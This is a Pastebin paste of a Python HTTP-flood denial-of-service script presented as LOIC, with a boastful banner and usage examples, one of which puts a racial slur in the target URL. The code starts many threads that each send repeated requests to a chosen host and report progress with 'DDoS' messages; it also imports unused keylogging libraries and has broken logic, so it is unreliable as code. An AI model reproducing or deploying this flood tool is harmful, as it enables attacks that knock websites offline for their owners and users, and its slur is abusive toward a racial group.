Advertisement
Ov3rxRide

L.O.I.C shit dos script

Nov 17th, 2016
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. # __________________________________________
  2. # | _ ____ _____ _____ |
  3. # | | | / __ \_ _/ ____| |
  4. # | | | | | | || || | |
  5. # | | | | | | || || | |
  6. # | | |___| |__| || || |____ |
  7. # | |______\____/_____\_____| |
  8. # |__________________________________________|
  9. # | |
  10. # | Ever wondered what LOIC used to "DoS" |
  11. # | well me neither LOL |
  12. # | This was requested seven times so |
  13. # | i guess I went on a bounty to compile |
  14. # | the source. so you can be happy i guess? |
  15. # | LOIC was shitty, But i guess it was a |
  16. # | start for some of you kids ;3 |
  17. # | Just kidding but this is interesting. |
  18. # | just a simple python script can be |
  19. # | suprising "strong" |
  20. # | Have fun! |
  21. # |__________________________________________|
  22. # | _________________ |
  23. # | | C O M M A N D S | |
  24. # | python LOIC.py http://[host]/ [requests] |
  25. # | python LOIC.py http://nigger.com/ 10000 |
  26. # | python LOIC.py stop 0 |
  27. # |__________________________________________|
  28.  
  29.  
  30.  
  31.  
  32. import requests
  33. import time
  34. import threading
  35. import pythoncom
  36. import pyHook
  37. import utils
  38. import random
  39. import socket
  40. import sys
  41. import os
  42. import string
  43.  
  44. from threading import Thread
  45. from urllib import urlopen
  46. from atexit import register
  47. from os import _exit
  48. from sys import stdout, argv
  49.  
  50.  
  51.  
  52. def complete():
  53. utils.send_output("DDoS Complete.")
  54.  
  55.  
  56. def auto_send_request(server, number_of_requests=10):
  57. global inc
  58. global isDos
  59.  
  60. requestsCheck = (requests - 1)
  61.  
  62. for z in range(number_of_requests):
  63. try:
  64.  
  65. if isDos == True:
  66.  
  67. urlopen(server)
  68.  
  69. stdout.write(".")
  70.  
  71. inc = inc + 1
  72.  
  73. if inc % 1000 == 0:
  74. utils.send_output("Requests: %s." % (inc))
  75.  
  76.  
  77. elif isDos == False:
  78. break
  79.  
  80. except IOError:
  81. stdout.write("E")
  82.  
  83. if inc >= requestsCheck:
  84.  
  85. complete()
  86.  
  87.  
  88.  
  89. def flood(url, number_of_requests = 1000, number_of_threads = 50):
  90. number_of_requests_per_thread = int(number_of_requests/number_of_threads)
  91. try:
  92. for x in range(number_of_threads):
  93. Thread(target=auto_send_request, args=(url, number_of_requests_per_thread)).start()
  94.  
  95. except:
  96. stdout.write("\n[E]\n")
  97. print("\nDone %i requests on %s" % (number_of_requests, url))
  98.  
  99.  
  100.  
  101. def run(action, num_req):
  102. global requests
  103. global inc
  104. global isDos
  105.  
  106. inc = 0
  107.  
  108. isDos = False
  109.  
  110. if action != "stop":
  111. utils.send_output("DDoS Started.")
  112.  
  113. isDos = True
  114.  
  115. server = action
  116.  
  117. requests = int(num_req)
  118.  
  119. flood(server, requests)
  120.  
  121.  
  122. elif action == "stop":
  123.  
  124. isDos = False
  125. utils.send_output('DDoS Stopped.')
  126. else:
  127.  
  128. utils.send_output("Usage: python LOIC.py http://nigger.com/ 10000")
  129.  
  130.  
  131.  
  132. def help():
  133. help_text = """
  134. Usage:
  135. python LOIC.py [host] [requests]
  136. python LOIC.py http://skiddo.com/ 10000
  137. python LOIC.py stop 0
  138. """
  139. return help_text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement